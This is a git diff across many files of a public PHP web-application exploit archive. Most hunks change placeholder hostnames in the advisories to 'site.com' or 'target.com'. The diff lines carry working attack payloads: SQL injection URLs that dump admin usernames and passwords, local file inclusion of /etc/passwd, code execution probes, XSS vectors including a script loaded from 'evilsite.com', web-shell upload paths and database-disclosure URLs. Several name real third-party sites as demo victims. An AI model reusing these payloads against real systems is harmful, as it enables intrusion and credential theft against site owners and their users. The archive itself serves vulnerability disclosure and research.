-http://www.server/mwcal/php/cal_default.php/>'><ScRiPt>alert(0)</ScRiPt> +http://www.site.com/mwcal/php/cal_default.php/>'><ScRiPt>alert(0)</ScRiPt> diff --git a/platforms/php/webapps/7057.pl b/platforms/php/webapps/7057.pl index 927738216..ca8bc7816 100755 --- a/platforms/php/webapps/7057.pl +++ b/platforms/php/webapps/7057.pl @@ -136,7 +136,7 @@ sub send_pckt() { } sub usage { - print "\n\tUsage:\t$0 http://server [-b|full server path] + print "\n\tUsage:\t$0 http://site.com [-b|full server path] By default exlpoit checks /lang/english.php for errors to get real path. If path could not be found exploit will bruteforce it ( or if used -b or none path is specified ). diff --git a/platforms/php/webapps/7062.txt b/platforms/php/webapps/7062.txt index 9f89693b4..0ab02a0c0 100755 --- a/platforms/php/webapps/7062.txt +++ b/platforms/php/webapps/7062.txt @@ -4,7 +4,7 @@ author: ZoRLu msn: trt-turk@hotmail.com home: www.z0rlu.blogspot.com -dork: "Copyright-2008@zeejobserver" +dork: "Copyright-2008@zeejobsite.com" date: 08/11/2008 ( aha simdi gönderiyorum saat 10:40 : ) ) @@ -50,13 +50,13 @@ user: sabrina passwd: testing: -login: http://zeejobserver/jobseekers/jobseekerloginpage.php +login: http://zeejobsite.com/jobseekers/jobseekerloginpage.php -change profile direckt link: http://zeejobserver/jobseekers/editresume_next.php?rid=47 +change profile direckt link: http://zeejobsite.com/jobseekers/editresume_next.php?rid=47 and your_shell link: -http://zeejobserver/jobseekers/logos/7271406.php +http://zeejobsite.com/jobseekers/logos/7271406.php thanks: str0ke & yildirimordulari.org & darkc0de.com diff --git a/platforms/php/webapps/7065.txt b/platforms/php/webapps/7065.txt index 1111f542b..ec53db443 100755 --- a/platforms/php/webapps/7065.txt +++ b/platforms/php/webapps/7065.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -14,7 +14,7 @@ # Script site: http://cyberfolio.org/ # Download: http://cyberfolio.org/Version-7-12-2 # - # Vuln: http://server/cyberfolio_7_12.2/portfolio/css.php?theme=../../../../../../etc/passwd%00 + # Vuln: http://site.com/cyberfolio_7_12.2/portfolio/css.php?theme=../../../../../../etc/passwd%00 # # Bug: ./cyberfolio_7_12.2/portfolio/css.php (lines: 30-33) # diff --git a/platforms/php/webapps/7074.txt b/platforms/php/webapps/7074.txt index a4cf01403..ecc2d6b75 100755 --- a/platforms/php/webapps/7074.txt +++ b/platforms/php/webapps/7074.txt @@ -29,13 +29,13 @@ Ex : http://127.0.0.1/encode.php?t=includes/constants.php ##### ~Exploit ############################################################################ - http://server/[path]/download.php?url=[Encoded url] + http://www.target.com/[path]/download.php?url=[Encoded url] Example : let's download the constants.php file wich contains the database login and password . the file will be downloaded as .mp3 exstension . -http://server/[path]/download.php?url=696e636c756465732f636f6e7374616e74732e706870 +http://www.target.com/[path]/download.php?url=696e636c756465732f636f6e7374616e74732e706870 Open the downloaded file with any text editor... ,and you got the database . diff --git a/platforms/php/webapps/7079.txt b/platforms/php/webapps/7079.txt index 20b1e48af..15d288481 100755 --- a/platforms/php/webapps/7079.txt +++ b/platforms/php/webapps/7079.txt @@ -1,4 +1,4 @@ -_____ ____ __ __ _ ____ ____ ____ + _____ ____ __ __ _ ____ ____ ____ |_ _| | _ \ \ \ / / / \ / ___| / ___| / ___| | | | |_) | \ V / / _ \ | | _ | | | | | | | _ < | | / ___ \ | |_| | _ | |___ | |___ diff --git a/platforms/php/webapps/7080.txt b/platforms/php/webapps/7080.txt index 4e23f1d5e..eb5f8c98c 100755 --- a/platforms/php/webapps/7080.txt +++ b/platforms/php/webapps/7080.txt @@ -1,4 +1,4 @@ -1. +-----------------+-----------------+-----------------+ + 1. +-----------------+-----------------+-----------------+ 2. +-----------------+Fresh Email Script+----------------+ 3. +-----------------versions: 1.0 to 1.11 - all 4. +-----------------exploits: file inclusion & cookie manipulation diff --git a/platforms/php/webapps/7114.txt b/platforms/php/webapps/7114.txt index 15913e7f0..48110610e 100755 --- a/platforms/php/webapps/7114.txt +++ b/platforms/php/webapps/7114.txt @@ -141,7 +141,7 @@ sub send_pckt() { } sub usage { - print "\n\tUsage:\t$0 http://server [-b|full server path] + print "\n\tUsage:\t$0 http://site.com [-b|full server path] By default exlpoit checks /lang/english.php for errors to get real path, If path could not be found exploit will bruteforce it ( or if used -b or none path is specified ). diff --git a/platforms/php/webapps/7122.txt b/platforms/php/webapps/7122.txt index cccb3411b..7f71bc039 100755 --- a/platforms/php/webapps/7122.txt +++ b/platforms/php/webapps/7122.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/7136.txt b/platforms/php/webapps/7136.txt index a283d6c6d..f6256ac22 100755 --- a/platforms/php/webapps/7136.txt +++ b/platforms/php/webapps/7136.txt @@ -9,10 +9,10 @@ download from:http://www.infireal.com/media/serve/106/mxcamarchive2.2.zip ........................................................................... expl: -http://server/path/archive/config.ini +http://site.com/path/archive/config.ini and login -http://server/path/admin +http://site.com/path/admin and add new web cam @@ -21,7 +21,7 @@ and save now: -http://server/path/index.php?h=ls -la +http://site.com/path/index.php?h=ls -la *************************************************** *************************************************** diff --git a/platforms/php/webapps/7143.txt b/platforms/php/webapps/7143.txt index e7be87eea..82bc409d3 100755 --- a/platforms/php/webapps/7143.txt +++ b/platforms/php/webapps/7143.txt @@ -17,7 +17,7 @@ line 6:.> include_once $includepath .'/debug.php'; xpl: -http://server/path/includes/init.php?includepath=shell? +http://site.com/path/includes/init.php?includepath=shell? *************************************************** *************************************************** diff --git a/platforms/php/webapps/7146.txt b/platforms/php/webapps/7146.txt index 629e8b22f..1e3f555f7 100755 --- a/platforms/php/webapps/7146.txt +++ b/platforms/php/webapps/7146.txt @@ -3,7 +3,7 @@ [-] Discovered By : d3b4g [-] Greetz : All my freind ################################################################################################ - Go to server[path]login.php + Go to www.target.com[path]login.php Use following information to bypass login. diff --git a/platforms/php/webapps/7157.txt b/platforms/php/webapps/7157.txt index 7a041fcfb..890c7fa51 100755 --- a/platforms/php/webapps/7157.txt +++ b/platforms/php/webapps/7157.txt @@ -24,13 +24,13 @@ - Exploit: #################### -http://www.server/path/admin/includes/FCKeditor/editor/filemanager/browser/default/connectors/test.html +http://www.site.com/path/admin/includes/FCKeditor/editor/filemanager/browser/default/connectors/test.html #################### - how To use: #################### -http://www.server/script-folder-name/script-folder-name/images/site_images/uploadet-file.* +http://www.site.com/script-folder-name/script-folder-name/images/site_images/uploadet-file.* #################### - Solution: diff --git a/platforms/php/webapps/7158.txt b/platforms/php/webapps/7158.txt index a910c4ee1..23cc6fd42 100755 --- a/platforms/php/webapps/7158.txt +++ b/platforms/php/webapps/7158.txt @@ -26,13 +26,13 @@ Command=FileUpload&Type=File&CurrentFolder=/ - Exploit: #################### -http://www.server/path/admin/includes/FCKeditor/editor/filemanager/browser/default/connectors/test.html +http://www.site.com/path/admin/includes/FCKeditor/editor/filemanager/browser/default/connectors/test.html #################### - how To use: #################### -http://www.server/script-folder-name/script-folder-name/images/site_images/uploadet-file.* +http://www.site.com/script-folder-name/script-folder-name/images/site_images/uploadet-file.* #################### - Solution: diff --git a/platforms/php/webapps/7163.txt b/platforms/php/webapps/7163.txt index 9f8dae178..475ccbd0a 100755 --- a/platforms/php/webapps/7163.txt +++ b/platforms/php/webapps/7163.txt @@ -7,7 +7,7 @@ Dork:Powered by Revsense - Go to server/index.php?section=user&action=login + Go to www.target.com/index.php?section=user&action=login Use following information to bypass login. diff --git a/platforms/php/webapps/7174.txt b/platforms/php/webapps/7174.txt index bc998b6a1..18bb4eeed 100755 --- a/platforms/php/webapps/7174.txt +++ b/platforms/php/webapps/7174.txt @@ -11,7 +11,7 @@ - When posting XSS, the data is run through htmlentities(); before being displayed + to the general public/forum members. However, when posting a new message, - a new notification is sent to the commentee. The commenter posts a XSS vector such as - + <script src="http://evilserver/nbd.js">, and when the commentee visits usercp.php + + <script src="http://evilsite.com/nbd.js">, and when the commentee visits usercp.php - under the domain, they are hit with an unfiltered xss attach. XSRF is also readily available + and I have included an example worm that makes the user post a new thread with your own - specified subject and message. diff --git a/platforms/php/webapps/7176.txt b/platforms/php/webapps/7176.txt index ec947f89e..848908fd1 100755 --- a/platforms/php/webapps/7176.txt +++ b/platforms/php/webapps/7176.txt @@ -10,13 +10,13 @@ [â– ] £XpLoIT: -|: http://www.demoserver/tourview.php?tourid=2%20and%201=1-- (true) +|: http://www.demosite.com/tourview.php?tourid=2%20and%201=1-- (true) -|: http://www.demoserver/tourview.php?tourid=2%20and%201=0-- (false) +|: http://www.demosite.com/tourview.php?tourid=2%20and%201=0-- (false) Version: -|: http://www.demoserver/tourview.php?tourid=2+and+substring(@@version,1,1)=5 (true) -|: http://www.demoserver/tourview.php?tourid=2+and+substring(@@version,1,1)=4 (false) +|: http://www.demosite.com/tourview.php?tourid=2+and+substring(@@version,1,1)=5 (true) +|: http://www.demosite.com/tourview.php?tourid=2+and+substring(@@version,1,1)=4 (false) V=> 5.x.x XD diff --git a/platforms/php/webapps/7182.txt b/platforms/php/webapps/7182.txt index ce07a684d..66fcf60ec 100755 --- a/platforms/php/webapps/7182.txt +++ b/platforms/php/webapps/7182.txt @@ -3,7 +3,7 @@ ################################################################################################################### #Google Dork: com_thyme ################################################################################################################### -#Exploit: http://www.server/index.php?option=com_thyme&calendar=1&category=1&d=1&m=1&y=2008&Itemid=1&event=1'+union+select+1,2,3,4,5,6,7,8,9,0,1,2,concat(username,0x3a,password),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4+from+jos_users/* +#Exploit: http://www.site.com/index.php?option=com_thyme&calendar=1&category=1&d=1&m=1&y=2008&Itemid=1&event=1'+union+select+1,2,3,4,5,6,7,8,9,0,1,2,concat(username,0x3a,password),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4+from+jos_users/* ################################################################################################################### #Example: http://www.orlandoprofessionals.org/index.php?option=com_thyme&calendar=1&category=0&d=25&m=10&y=2008&Itemid=67&event=1'+union+select+1,2,3,4,5,6,7,8,9,0,1,2,concat(username,0x3a,password),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4+from+jos_users/* ################################################################################################################### diff --git a/platforms/php/webapps/7186.txt b/platforms/php/webapps/7186.txt index 9d0fe60bc..d6bd1d5fd 100755 --- a/platforms/php/webapps/7186.txt +++ b/platforms/php/webapps/7186.txt @@ -20,7 +20,7 @@ ## ## -[[: Exploite :]]- ## -## server/blog.php?user=<< REAL USER NAME HERE >>&note=906+AND+1=0+UNION+SELECT+1,2,Concat_Ws(0x3a,user(),@@version),4,5,6,7,8-- +## www.Target.com/blog.php?user=<< REAL USER NAME HERE >>&note=906+AND+1=0+UNION+SELECT+1,2,Concat_Ws(0x3a,user(),@@version),4,5,6,7,8-- ## ######################## ######################## diff --git a/platforms/php/webapps/7188.txt b/platforms/php/webapps/7188.txt index 5db4ae643..28e1af7da 100755 --- a/platforms/php/webapps/7188.txt +++ b/platforms/php/webapps/7188.txt @@ -22,7 +22,7 @@ localhost/script/re_images/[ID]_logo_your_shell.php example for demo: -login: http://www.getaphpserver/demos/realty/login.php +login: http://www.getaphpsite.com/demos/realty/login.php user: zorlu @@ -30,7 +30,7 @@ passwd: zorlu1 shell: -http://www.getaphpserver/demos/realty/re_images/1227371905_logo_c.php +http://www.getaphpsite.com/demos/realty/re_images/1227371905_logo_c.php [~]---------------------------------------------------------------------- [~] Greetz tO: str0ke & all Muslim HaCkeRs diff --git a/platforms/php/webapps/7189.txt b/platforms/php/webapps/7189.txt index 58612c773..5bad242bf 100755 --- a/platforms/php/webapps/7189.txt +++ b/platforms/php/webapps/7189.txt @@ -22,7 +22,7 @@ localhost/script/re_images/[ID]_logo_your_shell.php example for demo: -login: http://www.getaphpserver/demos/cardealers/login.php +login: http://www.getaphpsite.com/demos/cardealers/login.php user: zorlu @@ -30,7 +30,7 @@ passwd: zorlu1 shell: -http://www.getaphpserver/demos/cardealers/re_images/1227370217_logo_c.php +http://www.getaphpsite.com/demos/cardealers/re_images/1227370217_logo_c.php [~]---------------------------------------------------------------------- [~] Greetz tO: str0ke & all Muslim HaCkeRs diff --git a/platforms/php/webapps/7190.txt b/platforms/php/webapps/7190.txt index a4adfeace..65abd11a1 100755 --- a/platforms/php/webapps/7190.txt +++ b/platforms/php/webapps/7190.txt @@ -1,4 +1,4 @@ -++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + + Ez Ringtone Manager Multiple Vulnerabilities + + + diff --git a/platforms/php/webapps/7206.txt b/platforms/php/webapps/7206.txt index d0474fa68..97845e5b4 100755 --- a/platforms/php/webapps/7206.txt +++ b/platforms/php/webapps/7206.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/7208.txt b/platforms/php/webapps/7208.txt index 9e82ab2eb..6b88c6df4 100755 --- a/platforms/php/webapps/7208.txt +++ b/platforms/php/webapps/7208.txt @@ -16,7 +16,7 @@ DorK : "Powered by Real Estate Portal" exploit : _______ -http://www.server/index.php?mod=re_send_email&ad_id=-7+union+select+concat(username,0x3e,password),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+websiteadmin_admin_users-- +http://www.site.com/index.php?mod=re_send_email&ad_id=-7+union+select+concat(username,0x3e,password),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+websiteadmin_admin_users-- diff --git a/platforms/php/webapps/7237.txt b/platforms/php/webapps/7237.txt index 333f356b4..9c30a14b2 100755 --- a/platforms/php/webapps/7237.txt +++ b/platforms/php/webapps/7237.txt @@ -12,7 +12,7 @@ Dork (for ALL Versions of CMS Ortus): inurl:index.php?ortupg= SQL Injection Vulnerability in POST Form: -http://www.server/index.php?mod=users_edit_pub +http://www.site.com/index.php?mod=users_edit_pub "City" field: [SQL Injection] @@ -22,15 +22,15 @@ EXAMPLE: 1. You need to register first - http://www.server/index.php?mod=users_add + http://www.site.com/index.php?mod=users_add 2. Authentication - http://www.server/index.php?mod=auth + http://www.site.com/index.php?mod=auth 3. Edit user profile next - http://www.server/index.php?mod=users_edit_pub + http://www.site.com/index.php?mod=users_edit_pub 4. Exploit "City" field (receive admin rights) @@ -38,7 +38,7 @@ EXAMPLE: 5. Login to admin area - http://www.server/auth.php + http://www.site.com/auth.php diff --git a/platforms/php/webapps/7240.txt b/platforms/php/webapps/7240.txt index ac70252b2..d5c747f01 100755 --- a/platforms/php/webapps/7240.txt +++ b/platforms/php/webapps/7240.txt @@ -1,4 +1,4 @@ -++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + + stararticles blind sql injection Vulnerability + + + diff --git a/platforms/php/webapps/7243.php b/platforms/php/webapps/7243.php index b231a6a73..315b2fe2b 100755 --- a/platforms/php/webapps/7243.php +++ b/platforms/php/webapps/7243.php @@ -19,7 +19,7 @@ ini_set("max_execution_time",0); print_r(' ############################################################### # stararticles Blind SQL Injection Exploit -#php '.$argv[0].' "http://www.server/article.download.php?artid=36106" 1 +#php '.$argv[0].' "http://www.site.com/article.download.php?artid=36106" 1 # ############################################################### '); diff --git a/platforms/php/webapps/7244.txt b/platforms/php/webapps/7244.txt index 1741aac9d..be1745de4 100755 --- a/platforms/php/webapps/7244.txt +++ b/platforms/php/webapps/7244.txt @@ -9,13 +9,13 @@ Vulnerability : (DDV,XSS,SQL) --------------------------------------------------------- ######################################################### [SQL]: -http://server/path/default.asp?DisplayFormat=Card&Sort=[SQL] +http://site.com/path/default.asp?DisplayFormat=Card&Sort=[SQL] [Database Disclosure Vulnerability]: -http://server/path/o12con.mdb +http://site.com/path/o12con.mdb [XSS]: -http://server/path/?DisplayFormat=>"><ScRiPt>alert(1369)%3B</ScRiPt>&Action=Pouya_Server +http://site.com/path/?DisplayFormat=>"><ScRiPt>alert(1369)%3B</ScRiPt>&Action=Pouya_Server --------------------------------- Victem : http://ocean12tech.com/products/contact/demo diff --git a/platforms/php/webapps/7246.txt b/platforms/php/webapps/7246.txt index caf2a72d3..5adaef87d 100755 --- a/platforms/php/webapps/7246.txt +++ b/platforms/php/webapps/7246.txt @@ -8,7 +8,7 @@ Author : Pouya_Server , Pouya.s3rver@Gmail.com Vulnerability : Database Disclosure Vulnerability --------------------------------------------------------- ######################################################### -http://server/path/o12poll.mdb +http://site.com/path/o12poll.mdb --------------------------------- Victem : diff --git a/platforms/php/webapps/7247.txt b/platforms/php/webapps/7247.txt index cae762d27..f8a7c5c8f 100755 --- a/platforms/php/webapps/7247.txt +++ b/platforms/php/webapps/7247.txt @@ -8,7 +8,7 @@ Author : Pouya_Server , Pouya.s3rver@Gmail.com Vulnerability : Database Disclosure Vulnerability --------------------------------------------------------- ######################################################### -http://server/path/o12cal.mdb +http://site.com/path/o12cal.mdb --------------------------------- Victem : diff --git a/platforms/php/webapps/7253.txt b/platforms/php/webapps/7253.txt index f6fa4ecc3..37f77832e 100755 --- a/platforms/php/webapps/7253.txt +++ b/platforms/php/webapps/7253.txt @@ -1,4 +1,4 @@ -[~] ----------------------------بسم الله الرحمن الرحيم------------------------------ + [~] ----------------------------بسم الله الرحمن الرحيم------------------------------ [~]Tybe: (hotel_habitaciones.php HotelID) Remote SQL Injection Vulnerability [~]Vendor: www.bookingcentre.eu diff --git a/platforms/php/webapps/7258.txt b/platforms/php/webapps/7258.txt index 9aceb36e8..e7583d9f7 100755 --- a/platforms/php/webapps/7258.txt +++ b/platforms/php/webapps/7258.txt @@ -7,7 +7,7 @@ Vulnerability : Database Disclosure Vulnerability --------------------------------------------------------- ######################################################### XPL : -http://server/path//admin/o12faq.mdb +http://site.com/path//admin/o12faq.mdb Demo : http://ocean12tech.com/products/faq/demo/ http://ocean12tech.com/products/faq/demo/admin/o12faq.mdb diff --git a/platforms/php/webapps/7260.txt b/platforms/php/webapps/7260.txt index 7fe57545a..e0c4571e6 100755 --- a/platforms/php/webapps/7260.txt +++ b/platforms/php/webapps/7260.txt @@ -7,6 +7,6 @@ Author : Mountassif Moad Vulnerability : Database Disclosure Vulnerability --------------------------------------------------------- ######################################################### -http://www.server/acm2000.mdb +http://www.site.com/acm2000.mdb # milw0rm.com [2008-11-28] diff --git a/platforms/php/webapps/7269.pl b/platforms/php/webapps/7269.pl index 72cd4f8df..857c93ec8 100755 --- a/platforms/php/webapps/7269.pl +++ b/platforms/php/webapps/7269.pl @@ -58,7 +58,7 @@ if ($#ARGV+1 != 2) print " `------' \n"; print " \n"; print "Usage : ./xpl.pl <Target> <Data Limit>\n"; - print "Example: ./xpl.pl http://server/cmslite 10\n"; + print "Example: ./xpl.pl http://www.target.com/cmslite 10\n"; exit(); } diff --git a/platforms/php/webapps/7271.txt b/platforms/php/webapps/7271.txt index 2daf0def4..3dde3ede6 100755 --- a/platforms/php/webapps/7271.txt +++ b/platforms/php/webapps/7271.txt @@ -7,8 +7,8 @@ Vulnerability : Blind Sql Injection --------------------------------------------------------- ######################################################### Exploit : -server/?Action=Cat&ID=40%20and%201=1 true -server/?Action=Cat&ID=40%20and%201=0 false +site.com/?Action=Cat&ID=40%20and%201=1 true +site.com/?Action=Cat&ID=40%20and%201=0 false Demo : http://ocean12tech.com/products/faq/demo/?Action=Cat&ID=40%20and%201=1 true http://ocean12tech.com/products/faq/demo/?Action=Cat&ID=40%20and%201=0 false diff --git a/platforms/php/webapps/7286.txt b/platforms/php/webapps/7286.txt index afc9e48ae..6841a4672 100755 --- a/platforms/php/webapps/7286.txt +++ b/platforms/php/webapps/7286.txt @@ -16,7 +16,7 @@ $USERID= $PASSWORD= $DATABASE= -www.server/path/config/oramon.ini +www.site.com/path/config/oramon.ini ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ diff --git a/platforms/php/webapps/7290.txt b/platforms/php/webapps/7290.txt index 38a7618ff..91afc467c 100755 --- a/platforms/php/webapps/7290.txt +++ b/platforms/php/webapps/7290.txt @@ -1,4 +1,4 @@ -[~]Tybe : Remote Blind SQL Injection Vulnerability + [~]Tybe : Remote Blind SQL Injection Vulnerability [~]Vendor : www.activewebsoftwares.com diff --git a/platforms/php/webapps/7291.pl b/platforms/php/webapps/7291.pl index bbdab5247..7cfa5d7d0 100755 --- a/platforms/php/webapps/7291.pl +++ b/platforms/php/webapps/7291.pl @@ -55,7 +55,7 @@ print " \n"; if ($#ARGV ne 2) { print "Usage: ./openforum.pl <url-to-index-page> <user account> <new password>\n"; - print "Ex. ./openforum.pl http://server/openforum/index.php admin cwhpass\n"; + print "Ex. ./openforum.pl http://www.target.com/openforum/index.php admin cwhpass\n"; exit(); } diff --git a/platforms/php/webapps/7294.pl b/platforms/php/webapps/7294.pl index 5f30c6519..75e741fe5 100755 --- a/platforms/php/webapps/7294.pl +++ b/platforms/php/webapps/7294.pl @@ -57,7 +57,7 @@ if ($#ARGV+1 != 2) print " `------' \n"; print " \n"; print "Usage : ./xpl.pl <Target> <Data Limit>\n"; - print "Example: ./xpl.pl http://server/lito_lite 10\n"; + print "Example: ./xpl.pl http://www.target.com/lito_lite 10\n"; exit(); } diff --git a/platforms/php/webapps/7308.txt b/platforms/php/webapps/7308.txt index 7b16586bc..4ae6d0f3c 100755 --- a/platforms/php/webapps/7308.txt +++ b/platforms/php/webapps/7308.txt @@ -1,4 +1,4 @@ -Author: girex + Author: girex Homepage: girex.altervista.org CMS: cpCommerce 1.2.6 diff --git a/platforms/php/webapps/7315.txt b/platforms/php/webapps/7315.txt index 57b444955..290c2ae26 100755 --- a/platforms/php/webapps/7315.txt +++ b/platforms/php/webapps/7315.txt @@ -7,7 +7,7 @@ vendor : E.Z. ************* ***************** ************* ******************* -vulnerable page : http://www.server/admin/login.asp +vulnerable page : http://www.site.com/admin/login.asp exploit : diff --git a/platforms/php/webapps/7317.pl b/platforms/php/webapps/7317.pl index e343f641a..0a94f01d3 100755 --- a/platforms/php/webapps/7317.pl +++ b/platforms/php/webapps/7317.pl @@ -60,7 +60,7 @@ if ($#ARGV+1 != 2) print " `------' \n"; print " \n"; print "Usage : ./xpl.pl <Target> <Data Limit>\n"; - print "Example: ./xpl.pl http://server/bcoos 10\n"; + print "Example: ./xpl.pl http://www.target.com/bcoos 10\n"; exit(); } diff --git a/platforms/php/webapps/7318.txt b/platforms/php/webapps/7318.txt index ce7f4c403..8c26b0cb4 100755 --- a/platforms/php/webapps/7318.txt +++ b/platforms/php/webapps/7318.txt @@ -29,8 +29,8 @@ #Exploit : -http://server/script/poll.mdb -http://server/script/poll97.mdb +http://target.com/script/poll.mdb +http://target.com/script/poll97.mdb #live example : http://pacosdrivers.com/asp/poll/poll.mdb diff --git a/platforms/php/webapps/7319.txt b/platforms/php/webapps/7319.txt index 99521dde4..600802986 100755 --- a/platforms/php/webapps/7319.txt +++ b/platforms/php/webapps/7319.txt @@ -7,12 +7,12 @@ Vulnerability : (DD,SQL,XSS) --------------------------------------------------------- ######################################################### [DD]: -http://server/[Path]/o12mail.mdb +http://site.com/[Path]/o12mail.mdb [SQL]: -http://server/[Path]/s_edit.asp?email=[SQL] -http://server/[Path]/default.asp?Page=2&Email='[SQL] +http://site.com/[Path]/s_edit.asp?email=[SQL] +http://site.com/[Path]/default.asp?Page=2&Email='[SQL] [XSS]: -http://server/[Path]/default.asp?Error=Pouya_Server&Name=&Email=Pouya.s3rver@gmail.com"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt> +http://site.com/[Path]/default.asp?Error=Pouya_Server&Name=&Email=Pouya.s3rver@gmail.com"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt> --------------------------------- Victem : diff --git a/platforms/php/webapps/7322.pl b/platforms/php/webapps/7322.pl index 9ccc440df..aa2aaf840 100755 --- a/platforms/php/webapps/7322.pl +++ b/platforms/php/webapps/7322.pl @@ -59,7 +59,7 @@ print " \n"; if ($#ARGV != 0) { print "Usage: ./xpl.pl <URL to index page>\n"; - print "Ex. ./xpl.pl http://server/maxsite/index.php\n"; + print "Ex. ./xpl.pl http://www.target.com/maxsite/index.php\n"; exit(); } diff --git a/platforms/php/webapps/7328.pl b/platforms/php/webapps/7328.pl index 83cf8d6d4..aa8f5fb15 100755 --- a/platforms/php/webapps/7328.pl +++ b/platforms/php/webapps/7328.pl @@ -61,7 +61,7 @@ if ($#ARGV+1 != 2) print " `------' \n"; print " \n"; print "Usage : ./xpl.pl <URL to PATH> <Dump Limit>\n"; - print "Example: ./xpl.pl http://server/checknew 10\n"; + print "Example: ./xpl.pl http://www.target.com/checknew 10\n"; exit(); } diff --git a/platforms/php/webapps/7332.txt b/platforms/php/webapps/7332.txt index cd72afd8b..06111fef7 100755 --- a/platforms/php/webapps/7332.txt +++ b/platforms/php/webapps/7332.txt @@ -25,7 +25,7 @@ #Exploit : -http://server/users.mdb +http://target.com/users.mdb #special thanks for the dear DexTer for his help :$ diff --git a/platforms/php/webapps/7333.txt b/platforms/php/webapps/7333.txt index 60d663121..5f7e3e370 100755 --- a/platforms/php/webapps/7333.txt +++ b/platforms/php/webapps/7333.txt @@ -1,4 +1,4 @@ -+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + + Web Based Contact Management (Auth Bypass) SQL Injection Vulnerability + + + diff --git a/platforms/php/webapps/7338.txt b/platforms/php/webapps/7338.txt index 239a5e33f..41d641952 100755 --- a/platforms/php/webapps/7338.txt +++ b/platforms/php/webapps/7338.txt @@ -25,7 +25,7 @@ #Exploit : -http://server/users.mdb +http://target.com/users.mdb #special thanks for syst3m and crimeirc staff diff --git a/platforms/php/webapps/7344.txt b/platforms/php/webapps/7344.txt index 468f63782..63a3af45f 100755 --- a/platforms/php/webapps/7344.txt +++ b/platforms/php/webapps/7344.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -15,8 +15,8 @@ # # Download: http://sourceforge.net/projects/gravity-gtd/ # - # [LFI] Vuln: http://server/gravity/library/setup/rpc.php?objectname=/../../../../../../../../etc/passwd%00 - # [RCE] Vuln: http://server/gravity/library/setup/rpc.php?objectname=Xmenu();phpinfo();die + # [LFI] Vuln: http://site.com/gravity/library/setup/rpc.php?objectname=/../../../../../../../../etc/passwd%00 + # [RCE] Vuln: http://site.com/gravity/library/setup/rpc.php?objectname=Xmenu();phpinfo();die # # Bug: ./gravity-0.4.5/library/setup/rpc.php (lines: 15-20) # diff --git a/platforms/php/webapps/7345.txt b/platforms/php/webapps/7345.txt index 6311bfad6..1eeb9e186 100755 --- a/platforms/php/webapps/7345.txt +++ b/platforms/php/webapps/7345.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -16,11 +16,11 @@ # # Download: http://sourceforge.net/projects/bncwi/ # - # [LFI] Vuln: http://server/bncwi/index.php + # [LFI] Vuln: http://site.com/bncwi/index.php # # POST /bncwi/index.php HTTP/1.1 # - # Host: www.server + # Host: www.site.com # User-Agent: Mozilla/5.0 # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 # Accept-Language: pl,en-us;q=0.7,en;q=0.3 diff --git a/platforms/php/webapps/7346.txt b/platforms/php/webapps/7346.txt index 6551b5a63..5bc981855 100755 --- a/platforms/php/webapps/7346.txt +++ b/platforms/php/webapps/7346.txt @@ -24,12 +24,12 @@ SITE : gaza-hacker.com & hacker.ps --------- SQL Injection Vulnerability -http://www.server/sitepage.php?id=-15+union+select+1,concat_ws(password,0x3a,username),3,4,5+from+affiliate_admin +http://www.site.com/sitepage.php?id=-15+union+select+1,concat_ws(password,0x3a,username),3,4,5+from+affiliate_admin sitepage.php?id=-15+union+select+1,concat_ws(password,0x3a,username),3,4,5+from+affiliate_admin http://www.pricelesshost.com/mmsv2/sitepage.php?id=-15+union+select+1,concat_ws(password,0x3a,username),3,4,5+from+affiliate_admin -Login : http://www.server/admin +Login : http://www.site.com/admin ####################################################################################### Gaza Hacker TeaM : Le0n & Lito & cLAw & zero cod diff --git a/platforms/php/webapps/7351.txt b/platforms/php/webapps/7351.txt index 85c4004be..e40bc3986 100755 --- a/platforms/php/webapps/7351.txt +++ b/platforms/php/webapps/7351.txt @@ -25,7 +25,7 @@ in the login page /login.asp write in the login fields your evil codes --=[Database Disclosure]=-- -http://server/db/users-zza21.mdb +http://target.com/db/users-zza21.mdb diff --git a/platforms/php/webapps/7354.txt b/platforms/php/webapps/7354.txt index 9315a7aba..38f5fb86f 100755 --- a/platforms/php/webapps/7354.txt +++ 